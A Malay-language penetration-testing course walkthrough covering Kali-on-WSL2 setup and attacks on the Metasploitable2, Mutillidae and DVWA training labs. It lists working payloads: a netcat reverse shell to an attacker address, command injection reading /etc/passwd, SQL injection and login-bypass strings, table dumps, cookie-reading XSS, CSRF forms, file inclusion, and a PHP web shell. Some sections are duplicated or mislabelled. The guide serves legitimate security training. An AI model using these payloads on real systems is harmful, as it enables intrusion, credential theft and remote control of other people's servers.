01 Konfigurasi Platform

Pemasangan / konfigurasi Platform bagi tujuan Web Application Penetration Testing

[1] Pemasangan Windows Terminal	
1	Install Windows Terminal dari Microsoft Store
2	Konfigurasi (settings) Windows Terminal : Menambah gambar background pada terminal. 1. Buka Windows Terminal, tekan butang Settings 2. Klik **Open JSON file** 3. Tambahkan baris berikut di bawah **options default** (pastikan gubah path ke fail gambar) `"backgroundImage": "C:/gambar/gambar.jpg",` `"backgroundImageOpacity": 0.3`

[2] Pemasangan dan Konfigurasi wsl2 di dalam Windows 10	
1	Prasyarat untuk memasang wsl2 pada Windows 10 : **x64 systems: Version 1903 or higher, with Build 18362 or higher.** **ARM64 systems: Version 2004 or higher, with Build 19041 or higher.**
2	Enablekan **Windows Subsystem Linux Features**, gunakan command di bawah (Powershell - Administrator) `dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart`
3	Enablekan **Virtual Machine Platform**, gunakan command di bawah (Powershell - Administrator) `dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart`
4	Kemudian restartkan komputer anda.
5	Kemudian sila muat turun dan install **Linux Kernel Update Package** dari url di bawah: `https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi`
6	Buka Powershell sebagai Administrator dan taipkan command berikut untuk setkan wsl kepada wsl2 secara default: `wsl --set-default-version 2` Taipkan command berikut untuk memaparkan senarai distributions yang telah anda Install di dalam Windows 10 anda. `wsl --list --verbose`

[3] Pemasangan dan Konfigurasi kali-linux di dalam wsl2	
1	Install kali-linux melalui **Microsoft Store**
2	Launchkan kali-linux kemudian setkan katanama dan katalaluan anda
3	Taipkan command berikut untuk update kali-linux `$ sudo apt update` `$ sudo apt dist-upgrade`
4	Install **Win-Kex** package dengan command berikut: `$ sudo apt install kali-win-kex`
5	Buka **Windows Terminal (kali-linux)** dan kemudian taipkan command berikut untuk memulakan kex session: `$ kex help` `$ kex`
6	Ini adalah **kali minimal edition**, tiada sebarang default pen-test tools yang tersedia, jadi kita perlu install **kali-default tools** dengan menggunakan command berikut (log off terlebih dahulu dari kali gui): `$ sudo apt install -y kali-linux-default`
7	Buka **Windows Terminal (kali-linux)** dan kemudian taipkan command berikut untuk memulakan kex session, anda boleh melihat kali-default tools telah di install: `$ kex`
8	Tekan kekunci F8 di dalam kali-gui, dan klik pada **Exit Viewer** untuk keluar dari gui session berkenaan, anda akan kembali ke Windows Terminal dan dan session kali-linux anda sedang masih berjalan(running)

02 Setup Target

[1] Pemasangan dan Konfigurasi metasploitable2	
1	Muat turun **metasploitable2** dari url: https://information.rapid7.com/download-metasploitable-2017.html atau https://sourceforge.net/projects/metasploitable/files/
2	Install Virtual Box ke dalam Windows OS anda.
3	Extract (unzip file metasploitable-linux-2.0.0) dan loadkan ke dalam Virtual Box atau VMWare
4	Login ke dalam metasploitable2 vm menggunakan credentials dibawah: `username : msfadmin` `password : msfadmin`
5	Dapatkan ip metasploitable dengan menngunakan command dibawah: `$ ifconfig`
6	Buka windows terminal dan taipkan command berikut untuk menguji connectivity terhadap metasploitable2 vm `ping ip_metasploitable2` `curl http://ip_metasploitable2`
7	Start kali-linux wsl dan taipkan command berikut untuk membuat simple nmap port scanning terhadap metasploitable2 vm `$ sudo nmap ip_metasploitable2`

[2] Asas Port Scanning	
1	Pastikan anda memasang / install Wireshark ke dalam Windows Host anda, kemudian runkan wireshark dan mulakan capture pada wsl interface
2	Buka Windows Terminal dan akses ke kali-linux wsl
3	Runkan command nmap portscan berikut terhadap ip metasploitable2 `$ sudo nmap -sT -p80 ip_metasploitable2` `$ sudo nmap -sT -p88 ip_metasploitable2`
4	Analisa trafik berkenaan menggunakan wireshark. Anda boleh merujuk pada demo video.
5	Runkan command nmap portscan berikut terhadap ip metasploitable2 `$ sudo nmap -sS -p80 ip_metasploitable2` `$ sudo nmap -sS -p88 ip_metasploitable2`
6	Analisa trafik berkenaan menggunakan wireshark. Anda boleh merujuk pada demo video.
7	Setup profile baru di dalam wireshark untuk enable features Packet Diagram, anda boleh melihat demo video untuk langkah-langkah selanjutnya.

[3] Port Scanning menggunakan nmap	
1	Startkan vm metasplotable2 dan buka terminal kali-linux wsl
2	Taipkan command berikut dan analisa output yang dihasilkan (tonton video demo untuk penerangan setiap command dan output berkenaan) `$ nmap --help` `$ cd Desktop` `$ mkdir nmap && cd nmap` `$ sudo nmap -v -sS -A -T4 ip_metasploitable2 -oX T4.xml` `$ sudo nmap -v -sS -A -T5 ip_metasploitable2 -oX T5.xml` `$ pip install pyndiff` `$ pyndiff -f1 T4.xml -f2 T5.xml` `$ sudo nmap -A -T4 -p- ip_metasploitable2 -oA full_tcp_scan` `$ sudo nmap -A -T4 -sU -p- ip_metasploitable2 -oA full_udp_scan`
3	Taipkan command berikut untuk nmap parsing `$ wget https://raw.githubusercontent.com/actuated/nmaparse/master/nmaparse.sh` `$ ./nmaparse.sh full_tcp_scan.gnmap` `$ cd nmaparse-tarikh/` `$ cat nmaparse-summary-tarikh.txt`

[4] vulnscan	
1	Runkan command berikut untuk setup vulnscan ke dalam kali linux anda: `$ cd ~` `$ mkdir tools && cd tools` `$ git clone https://github.com/scipag/vulscan scipag_vulscan` `$ sudo ln -s `pwd`/scipag_vulscan /usr/share/nmap/scripts/vulscan`
2	Taipkan command berikut dan analisa output yang dihasilkan `$ sudo nmap -sV --script=vulscan/vulscan.nse ip_metasploitable2 -oN vulnscan` `$ cat vulnscan | more` `$ cp vulnscan /mnt/c/Users/gh1mau/Desktop/`

[5] searchsploit	
1	Runkan command berikut dan analisa ouput yang berkenaan: `$ cd /mnt/c/Users/gh1mau/Desktop/nmap` `$ searchsploit --nmap full_tcp_scan.xml` `$ searchsploit --nmap full_tcp_scan.xml -www`

[6] masscan	
1	Startkan vm metasplotable2 dan buka terminal kali-linux wsl
2	Taipkan command berikut dan analisa output yang dihasilkan

```
$ masscan --help
$ sudo masscan 192.168.8.181 -p0-65535
$ sudo masscan 192.168.8.181 -p0-65535 --max-rate 10000
$ sudo masscan 192.168.8.181 -p0-65535 --max-rate 10000 > masscan
$ cat masscan
$ cat masscan | wc -l
$ cat masscan | awk '{print $4}'
$ cat masscan | awk '{print $4}' | sort -n | cut -d "/" -f1 | paste
-sd,
$ sudo nmap -v -sS -A -T5 -p(paste_ports) ip_metasploitable2
```

03 twiki walkthrough

[1] twiki exploitation	
1	Startkan vm metasploitable2 dan buka twiki application melalui browser anda http://url_metasploitable/twiki
2	Buat application mapping dan enumeration, rujuk panduan pada demo video.
3	Search twiki exploit (rujuk panduan pada demo video). Onkan kali-wsl terminal dan taipkan command berikut, analisa hasil yang diperolehi `$ searchsploit twiki --www`
4	Runkan exploit berkenaan: `http://url_metasploitable/twiki/bin/view/Main/TWikiUsers?rev=2%20%7Cless%20/etc/passwd` `$ curl http://url_metasploitable/twiki/bin/view/Main/TWikiUsers?rev=2%20|less /etc/passwd` `$ curl -A "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" http://url_metasploitable/twiki/bin/view/Main/TWikiUsers?rev=2%20|less /etc/passwd` Senarai user agent : https://deviceatlas.com/blog/list-of-user-agent-strings

[2] twiki exploitation reverse shell – manual	
1	Buka url berikut dan install Hack-Tools Chrome Extension https://chrome.google.com/webstore/detail/hack-tools/cmbndhnoonmghfofefkcccljbkdpamhi
2	Setup listener pada host machine anda: `nc -nlvp 1234`
3	Masukkan payload reverse shell pada parameter rev (twiki) `http://ip_metasploitable2/twiki/bin/view/Main/TWikiUsers?rev=2%20|nc -e /bin/sh ip_attacker port`
4	Runkan command berikut dari nc listener anda `python -c 'import pty; pty.spawn("/bin/bash")'`

[3] twiki exploitation metasploit	
1	Buka terminal kali-wsl anda dan startkan metasploit `$ msfconsole`
2	Taipkan command berikut (rujuk video demo) `$ search twiki` `$ use use exploit/unix/webapp/twiki_history` `$ show options` `$ set RHOSTS 192.168.8.188` `$ exploit`

[4] analisa log - asas	
1	Buka terminal dan ssh ke metasploitable2 machine anda `ssh msfadmin@ip_metasploitable2`
2	Taipkan command berikut (rujuk video demo) `$ cd /var/log/apache2` `$ cat access.log` `$ awk '{print $9}' access.log \| sort \| uniq -c \| sort -rn` `$ awk '{print $1}' access.log \| sort \| uniq -c \| sort -rn \| head` `$ cut -d' ' -f12- access.log | sort | uniq -c | sort -rn | head` `$ awk '{print $7}' access.log \| sort \| uniq -c \| sort -rn \| head` `$ awk '($9 ~ /404/) {print $1}' access.log \| sort \| uniq -c \| sort -rn \| head` `$ awk '($9 ~ /404/)' access.log | cut -d' ' -f12- | sort | uniq -c | sort -rn | head`

04 multillidae walkthrough

[1] A1 Injection Part 1	
1	Startkan vm metasploitable2 anda.
2	Login ke metasploitable2 dan ubah setting seperti berikut (rujuk demo video) `$ cd /var/www/mutillidae` `$ sudo nano config.inc` `(tukar $dbname = 'metasploit'; ke $dbname = 'owasp10';)`
3	Buka multillidae melalui browser, dan kemudian klik pada menu Reset DB.
4	Buka url https://owasp.org/www-project-web-security-testing-guide/v41/ dan fahamkan mengikut keperluan anda. (rujuk demo video)
5	Startkan kali-wsl dan taipkan command di bawah. Kita akan menggunakan burp suite untuk membuat latihan multillidae A1 Injection. (rujuk demo video) `$ kex`
6	Rujuk demo video untuk solution bagi challenge yang berkaitan.

[2] A1 Injection Part 2	
1	Startkan vm metasploitable2 anda.
2	Startkan kali-wsl dan taipkan command di bawah. (rujuk demo video) `$ kex`
3	Buka multillidae melalui browser, dan rujuk demo video untuk mencuba challenge yang berkenaan.
4	**A1-Injection -> SQLi - Extract Data -> User Info** `'` `' or '1' ='1#` `' group by n#` `' union all select 1,2,3,4,5#` `' union all select 1, user(), database(),4,5#`

5	**A1-Injection -> SQLi – Bypass Authentication -> Login** `Username: admin` `Password: admin` `Username: ' or '1'='1'#` Payloads lain untuk Bypass Authentication: `admin' #` `admin' or '1'='1` `admin' or '1'='1'#` `admin' or 1=1 or "="` `admin' or 1=1#`
6	**A1-Injection -> SQLi – Insert Injection -> Register** `<script>alert("XSS");</script>` `'` `a','a',(SELECT version()))#`

[3] A1 Injection Part 3	
1	Startkan vm metasploitable2 anda.
2	Startkan kali-wsl dan taipkan command di bawah. (rujuk demo video) `$ kex`
3	Buka multillidae melalui Burp Suite Browser, dan rujuk demo video untuk mencuba challenge yang berkenaan.

4 **A1-Injection -> Blind SQL via Timing -> Login**

```
' OR exists(SELECT 1 FROM users limit 1)#

' OR exists(SELECT 1 FROM accounts limit 1)#

-----------------------------------------------------------------

' OR exists(SELECT 1 FROM accounts where username = 'gh1mau' limit
1)#

' OR exists(SELECT 1 FROM accounts where username = 'admin' limit
1)#

-----------------------------------------------------------------
' OR exists(SELECT 1 FROM accounts where username = 'admin' and
password = 'admin' limit 1)#

' OR exists(SELECT 1 FROM accounts where username = 'admin' and
password = 'adminpass' limit 1)#
```

5 **A1-Injection -> Blind SQL via Timing -> User Info**

ssh ke ip metasploitable2

```
mysql –u root –p
mysql> use owasp10;
mysql> SELECT * FROM accounts WHERE username = 'admin123';
mysql> SELECT * FROM accounts WHERE username = 'admin';
-----------------------------------------------------------------

mysql> SELECT * FROM accounts WHERE username = 'admin123' AND
SLEEP(5);
mysql> SELECT * FROM accounts WHERE username = 'admin' AND
SLEEP(5);
```

Startkan Burp Suite Community. (Rujuk demo video)

```
sqlmap -u
"http://ip_metasploitable2/mutillidae/index.php?page=user-
info.php&username=test&password=test&user-info-php-submit-
button=View+Account+Details" --proxy=http://127.0.0.1:8080 --
technique=T --fresh-queries --current-db
```

6	**A1-Injection -> SQLMAP Practice Target -> View Someones Blog** Startkan Burp Suite Community. (Rujuk demo video) `sqlmap -r test1` `sqlmap -r test1 --dbs`
7	**A1-Injection -> SQLMAP Practice Target -> User Info** Penyelesaian adalah sama seperti dalam langkah 5

[4] A1 Injection Part 4	
1	Startkan vm metasploitable2 anda.
2	Startkan kali-wsl dan taipkan command di bawah. (rujuk demo video) `$ kex`
3	Buka multillidae melalui Burp Suite Browser, dan rujuk demo video untuk mencuba challenge yang berkenaan.
4	**A1-Injection -> HTML Injection (HTMLi) -> Add to your blog** `Testing123` `<h1>Testing123</h1>` `----------` `<script>alert('Cookies which do not have the HTTPOnly attribute set: ' + document.cookie);</script>` `<script>alert(\'Cookies which do not have the HTTPOnly attribute set: \' + document.cookie);</script>`
5	**A1-Injection -> HTMLi via HTTP Headers -> Site Footer** Startkan Burp Suite Community. (Rujuk demo video) `Ubah dan manipulate User Agent dalam HTTP Request (boleh inject HTML atau javascript)`
6	**A1-Injection -> HTMLi via HTTP Headers -> HTTP Response Splitting** Penyelesaian adalah sama seperti dalam langkah 5

7	**A1-Injection -> HTMLi via DOM Injection -> HTML5 Storage** Inspect element (lihat rungan storage) kemudian masukkan code berikut (ruangan console) `try{var m = "";var l = window.localStorage; var s = window.sessionStorage;for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKey + "=" + l.getItem(lKey) + ";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey + "=" + s.getItem(lKey) + ";\n";};alert(m);}catch(e){alert(e.message);}` `----------` `try{var m = "";var l = window.localStorage;var s = window.sessionStorage;for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKey + "=" + l.getItem(lKey) + ";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey + "=" + s.getItem(lKey) + ";\n";};window.document.write(m);}catch(e){alert(e.message);}` `----------` `try{var m = "";var l = window.localStorage;var s = window.sessionStorage;for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKey + "=" + l.getItem(lKey) + ";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey + "=" + s.getItem(lKey) + ";\n";};console.log(m);}catch(e){alert(e.message);}`
8	**A1-Injection -> HTMLi via Cookie Injection -> Capture Data Page** 1. Akses page berkenaan menggunakan Burp Suite 2. Ubah **Header Cookie** dan inject HTML code atau javascript menggunakan **repeater** 3. Paparkan menggunakan fungsi **Request in browser**
9	**A1-Injection -> Command Injection -> DNS Lookup** `www.google.com` `www.google.com && ls` `www.google.com ; pwd`

10	**A1-Injection -> JavaScript Injection -> Password Generator** 1. Akses page berkenaan dan analisa javascript yang berkaitan 2. Manipulate parameter berkenaan : a. page=password-generator.php&username=anonymous b. page=password-generator.php&username=<h1>gh1mau</gh1mau>
11	**A1-Injection -> HTTP Parameter Pollution -> Poll Question** Startkan Burp Suite Community. (Rujuk demo video)
12	**A1-Injection -> Cacscading Style Injection -> Set Background Color** Startkan Burp Suite Community. (Rujuk demo video)
13	**A1-Injection -> JSON Injection -> PenTest Tool Lookup** Startkan Burp Suite Community. (Rujuk demo video)

[5] A2 Cross Site Scripting (XSS)	
1	Startkan vm metasploitable2 anda.
2	Startkan kali-wsl dan taipkan command di bawah. (rujuk demo video) `$ kex`
3	Buka multillidae melalui Burp Suite Browser, dan rujuk demo video untuk mencuba challenge yang berkenaan.
4	**A1-Injection -> HTML Injection (HTMLi) -> Add to your blog** `Testing123` `<h1>Testing123</h1>` `----------` `<script>alert('Cookies which do not have the HTTPOnly attribute set: ' + document.cookie);</script>` `<script>alert(\'Cookies which do not have the HTTPOnly attribute set: \' + document.cookie);</script>`

5	**A1-Injection -> HTMLi via HTTP Headers -> Site Footer** Startkan Burp Suite Community. (Rujuk demo video) `Ubah dan manipulate User Agent dalam HTTP Request (boleh inject HTML atau javascript)`
6	**A1-Injection -> HTMLi via HTTP Headers -> HTTP Response Splitting** Penyelesaian adalah sama seperti dalam langkah 5
7	**A1-Injection -> HTMLi via DOM Injection -> HTML5 Storage** Inspect element (lihat rungan storage) kemudian masukkan code berikut (ruangan console)

```
try{var m = "";var l = window.localStorage; var s =
window.sessionStorage;for(i=0;i<l.length;i++){var lKey =
l.key(i);m += lKey + "=" + l.getItem(lKey) +
";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey
+ "=" + s.getItem(lKey) +
";\n";};alert(m);}catch(e){alert(e.message);}
-------------------------------------------------------------

try{var m = "";var l = window.localStorage;var s =
window.sessionStorage;for(i=0;i<l.length;i++){var lKey =
l.key(i);m += lKey + "=" + l.getItem(lKey) +
";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey
+ "=" + s.getItem(lKey) +
";\n";};window.document.write(m);}catch(e){alert(e.message);}
-------------------------------------------------------------

try{var m = "";var l = window.localStorage;var s =
window.sessionStorage;for(i=0;i<l.length;i++){var lKey =
l.key(i);m += lKey + "=" + l.getItem(lKey) +
";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey
+ "=" + s.getItem(lKey) +
";\n";};console.log(m);}catch(e){alert(e.message);}
```

8	**A1-Injection -> HTMLi via Cookie Injection -> Capture Data Page** 4. Akses page berkenaan menggunakan Burp Suite 5. Ubah **Header Cookie** dan inject HTML code atau javascript menggunakan **repeater** 6. Paparkan menggunakan fungsi **Request in browser**
9	**A1-Injection -> Command Injection -> DNS Lookup** `www.google.com` `www.google.com && ls` `www.google.com ; pwd`
10	**A1-Injection -> JavaScript Injection -> Password Generator** 3. Akses page berkenaan dan analisa javascript yang berkaitan 4. Manipulate parameter berkenaan : a. page=password-generator.php&username=anonymous b. page=password-generator.php&username=<h1>gh1mau</gh1mau>
11	**A1-Injection -> HTTP Parameter Pollution -> Poll Question** Startkan Burp Suite Community. (Rujuk demo video)
12	**A1-Injection -> Cacscading Style Injection -> Set Background Color** Startkan Burp Suite Community. (Rujuk demo video)
13	**A1-Injection -> JSON Injection -> PenTest Tool Lookup** Startkan Burp Suite Community. (Rujuk demo video)

05 DVWA walkthrough Part 1

[1] Brute Force (low, medium, high)	
1	Startkan vm metasploitable2 anda.
2	Startkan kali-wsl dan taipkan command di bawah. (rujuk demo video) `$ kex`
3	Login ke DVWA menggunakan credentials berikut: `Username: admin` `Password: password`
4	Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high.**
5	Startkan burp suite dan rujuk pada demo video.
6	Burp Intruder (Sniper, Cluster Bomb) payloads: `/usr/share/wordlists/dirb/others` `grep match`
7	wfuzz payloads: `wfuzz -h` **low** `----------` `wfuzz -c -z file,/usr/share/wordlists/dirb/others/best15.txt -b 'security=low; PHPSESSID=xxx' 'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=admin&password=FUZZ&Login=Login#'` `----------` `wfuzz -c -z file,/usr/share/wordlists/dirb/others/best15.txt -b 'security=low; PHPSESSID=xxx' --hs incorrect 'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=admin&password=FUZZ&Login=Login#'` `----------` **names.txt:** Admin Gordon Hack Pablo Bob

```
wfuzz -c -z file,names.txt -z
file,/usr/share/wordlists/dirb/others/best15.txt -b
'security=low; PHPSESSID=xxx' --hs incorrect
'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=FU
ZZ&password=FUZ2Z&Login=Login#'
------------------------------------------------------------
wfuzz -c -z file,names.txt -z
file,/usr/share/wordlists/dirb/others/best1050.txt -b
'security=low; PHPSESSID=xxx' --hs incorrect
'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=FU
ZZ&password=FUZ2Z&Login=Login#'
------------------------------------------------------------
```

medium

```
------------------------------------------------------------
wfuzz -c -z file,names.txt -z
file,/usr/share/wordlists/dirb/others/best15.txt -b
'security=medium; PHPSESSID=xxx' --hs incorrect
'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=FU
ZZ&password=FUZ2Z&Login=Login#'
------------------------------------------------------------
```

high

```
------------------------------------------------------------
wfuzz -c -z file,names.txt -z
file,/usr/share/wordlists/dirb/others/best15.txt -b
'security=high; PHPSESSID=xxx' --hs incorrect
'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=FU
ZZ&password=FUZ2Z&Login=Login#'
------------------------------------------------------------
wfuzz -c -z file,names.txt -z
file,/usr/share/wordlists/dirb/others/best15.txt -b
'security=high; PHPSESSID=xxx' -s 4 --hs incorrect
'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=FU
ZZ&password=FUZ2Z&Login=Login#'
```

05 DVWA walkthrough Part 2

[1] Command Execution (low, medium, high)	
1	Startkan vm metasploitable2 anda.
2	Startkan kali-wsl dan taipkan command di bawah. (rujuk demo video) `$ kex`
3	Login ke DVWA menggunakan credentials berikut: `Username: admin` `Password: password`
4	Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high.**
5	Startkan burp suite dan rujuk pada demo video.
6	Command Execution payloads: **low** `8.8.8.8` `8.8.8.8 && cat /etc/passwd` `8.8.8.8; cat /etc/passwd` **medium** `8.8.8.8 && cat /etc/passwd` `8.8.8.8; cat /etc/passwd` `8.8.8.8 | cat /etc/passwd` **high** `8.8.8.8 | cat /etc/passwd`

[2] CSRF (low, medium, high)	
1	Startkan vm metasploitable2 anda.
2	Startkan kali-wsl dan taipkan command di bawah. (rujuk demo video) `$ kex`
3	Login ke DVWA menggunakan credentials berikut: `Username: admin` `Password: password`
4	Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high.**
5	Startkan burp suite dan rujuk pada demo video.
6	CSRF payloads: **low** --- http://ip_metasploitable2/dvwa/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change# --- **csrf.html** `<html>` `  <body>` `  <script>history.pushState('', '', '/')</script>` `  <form action="http://ip_metasploitable2/dvwa/vulnerabilities/csrf/">` `  <input type="hidden" name="password_new" value="12345" />` `  <input type="hidden" name="password_conf" value="12345" />` `  <input type="hidden" name="Change" value="Change" />` `  <input type="submit" value="Submit request" />` `  </form>` `  </body>` `</html>` --- https://tools.nakanosec.com/csrf/ ---

medium

---

http://ip_metasploitable2/dvwa/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change

---

Install Penetration Testing Kit Chrome Extension, dan kemudian ubah traffic (Setkan Referer:127.0.0.1)

https://chrome.google.com/webstore/detail/penetration-testing-kit/ojkchikaholjmcnefhjlbohackpeeknd?hl=en-GB

---

high

---

http://ip_metasploitable2/dvwa/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change

[3] File Inclusion (low, medium, high)	
1	Startkan vm metasploitable2 anda.
2	Login ke DVWA menggunakan credentials berikut: `Username: admin` `Password: password`
3	Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high.** Rujuk demo video.
4	File Inclusion payloads: **low** /fi/?page=123 /fi/?page=/etc/passwd /fi/?page=index.php /fi/?page=php://filter/convert.base64-encode/resource=index.php **medium** /fi/?page=123 /fi/?page=/etc/passwd /fi/?page=index.php /fi/?page=php://filter/convert.base64-encode/resource=index.php **high** /fi/?page=123 /fi/?page=index.php /fi/?page=include.php

[4] SQL Injection (low, medium, high)	
1	Startkan vm metasploitable2 anda.
2	Login ke DVWA menggunakan credentials berikut: `Username: admin` `Password: password`
3	Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high.** Rujuk demo video.
4	File Inclusion payloads: **low** /fi/?page=123 /fi/?page=/etc/passwd /fi/?page=index.php /fi/?page=php://filter/convert.base64-encode/resource=index.php **medium** /fi/?page=123 /fi/?page=/etc/passwd /fi/?page=index.php /fi/?page=php://filter/convert.base64-encode/resource=index.php **high** /fi/?page=123 /fi/?page=index.php /fi/?page=include.php

05 DVWA walkthrough Part 3

[1] SQL Injection (low, medium, high)	
1	Startkan vm metasploitable2 anda.
2	Login ke DVWA menggunakan credentials berikut: `Username: admin` `Password: password`
3	Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high.**
4	SQL Injection payloads: **low** `id = (1 hingga 6)` `'` Dapatkan bilangan column semasa `' order by 1#` `' order by 2#` `' order by 3#` Kenalpasti reflection point `' union select 1,2#` Dapatkan senarai database yang ada `' union select group_concat(schema_name),2 from information_schema.schemata#` Dapatkan senarai tables pada database semasa `' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#` Dapatkan senarai columns pada table users `' union select group_concat(column_name),2 from information_schema.columns where table_name='users'#` Dump data firstname dan password dari table users `' union select group_concat(first_name,0x3a,password),2 from users#`

Crack password menggunakan john the ripper

```
admin:5f4dcc3b5aa765d61d8327deb882cf99
Gordon:e99a18c428cb38d5f260853678922e03
Hack:8d3533d75ae2c3966d7e0d4fcc69216b
Pablo:0d107d09f5bbe40cade3de5c71e9e9b7
Bob:5f4dcc3b5aa765d61d8327deb882cf99

$ hash-identifier 5f4dcc3b5aa765d61d8327deb882cf99
$ john --format=raw-MD5 pass
$ john --show --format=Raw-MD5 pass
```

---

medium

```
id = (1 hingga 6)
'
```

Dapatkan bilangan column semasa

```
' order by 1#
unhex(27) order by 1#
unhex(27) order by 2#
unhex(27) order by 3#
```

Kenalpasti reflection point

```
unhex(27) union select 1,2#
```

Dapatkan senarai tables pada database semasa

```
unhex(27) union select group_concat(table_name),2 from
information_schema.tables where table_schema=database()#
```

Dapatkan senarai columns pada table users

```
unhex(27) union select group_concat(column_name),2 from
information_schema.columns where table_name=0x7573657273#
```

Dump data firstname dan password dari table users

```
unhex(27) union select
group_concat(first_name,0x3a,password),2 from users#
```

high

id = (1 hingga 6)

'

HUSSEIN BIN MOHAMED AKA GH1MAU | GH1MAU.RULEZ@GMAIL.COM

[2] SQL Injection Blind (low, medium, high)	
1	Startkan vm metasploitable2 anda.
2	Login ke DVWA menggunakan credentials berikut: `Username: admin` `Password: password`
3	Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high.**
4	SQL Injection(Blind) payloads: **low** `id = (1 hingga 6)` `'` `1'and 1=1#` `1'and 1=2#` Teka panjang(length) bagi nama database semasa `1'and length(database())=1#` `1'and length(database())=2#` `1'and length(database())=3#` `1'and length(database())=4#` Exploit menggunakan sqlmap `sqlmap -r <nama_fail>` `sqlmap -r <nama_fail> --dbs` `sqlmap -r <nama_fail> -D dvwa --tables` `sqlmap -r <nama_fail> -D dvwa -T users --dump` `----------`

medium

```
id = (1 hingga 6)
'
1'and 1=1#
1 and 1=1#
1 and 1=2#
```

Exploit menggunakan sqlmap

```
sqlmap -r <nama_fail>
sqlmap -r <nama_fail> --flush-session
sqlmap -r <nama_fail> --dbs
sqlmap -r <nama_fail> -D dvwa --tables
sqlmap -r <nama_fail> -D dvwa -T users --dump
```

---

high

```
sqlmap -r <nama_fail> --flush-session
```

[3] upload (low, medium, high)	
1	Startkan vm metasploitable2 anda.
2	Login ke DVWA menggunakan credentials berikut: `Username: admin` `Password: password`
3	Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high.**
4	File Upload payloads: **low** Uploadkan file berikut: <nama_fail>.png <nama_fail>.txt <nama_fail>.php rce.php <?php system($_GET["cmd"]);?> ?cmd=ls ?cmd=pwd ?cmd=cat /etc/passwd p0wny shell weevely weevely generate 12345 1.php weevely http://192.168.8.137/dvwa/hackable/uploads/1.php 12345 weevely> help ----------

medium

<nama_fail>.png

<nama_fail>.txt

<nama_fail>.php

Tukar Content-Type ke:

Content-Type: image/jpeg

---

high

<nama_fail>.png

<nama_fail>.txt

<nama_fail>.php

[4] XSS Relected (low, medium, high)	
1	Startkan vm metasploitable2 anda.
2	Login ke DVWA menggunakan credentials berikut: `Username: admin` `Password: password`
3	Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high.**
4	XSS Reflected payloads: **low** gh1mau gh1mau <script>alert('gh1mau')</script> ---------- **medium** gh1mau gh1mau <script>alert('gh1mau')</script> <Script>alert('gh1mau')</script> <scri<script>pt>alert('gh1mau')<scr</script>ipt> ---------- **high** gh1mau gh1mau <script>alert('gh1mau')</script>

[5] XSS Stored (low, medium, high)	
1	Startkan vm metasploitable2 anda.
2	Login ke DVWA menggunakan credentials berikut: `Username: admin` `Password: password`
3	Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high.**
4	XSS Stored payloads: **low** gh1mau gh1mau <script>alert('gh1mau')</script> --- **medium** gh1mau gh1mau <script>alert('gh1mau')</script> <Script>alert(document.cookie)</script> --- **high** gh1mau gh1mau <script>alert('gh1mau')</script>